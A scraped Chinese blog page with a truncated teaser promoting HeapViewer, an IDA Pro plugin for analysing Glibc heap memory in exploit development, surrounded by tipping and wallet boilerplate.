HeapViewer插件终极指南:从零开始掌握Glibc堆内存分析与漏洞利用

想要快速掌握Glibc堆内存的奥秘吗?HeapViewer插件就是您需要的终极工具!这款IDA Pro插件专注于堆内存分析,特别为漏洞利用开发而设计,让您能够深入理解ptmalloc2内存管理器的内部工作原理。无论您是安全研究员、逆向工程师还是CTF选手,这个工具都能帮助您快速定位堆漏洞,提高漏洞利用成功率。 ## 🔍 HeapViewer是什么? HeapViewer是一个强大的IDA P

gitblog_00584的博客 417
上一篇: 【分析】非安全编程演示之高级缓存区溢出(version1.2)
下一篇: 【原理】Shellcode编写技术
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值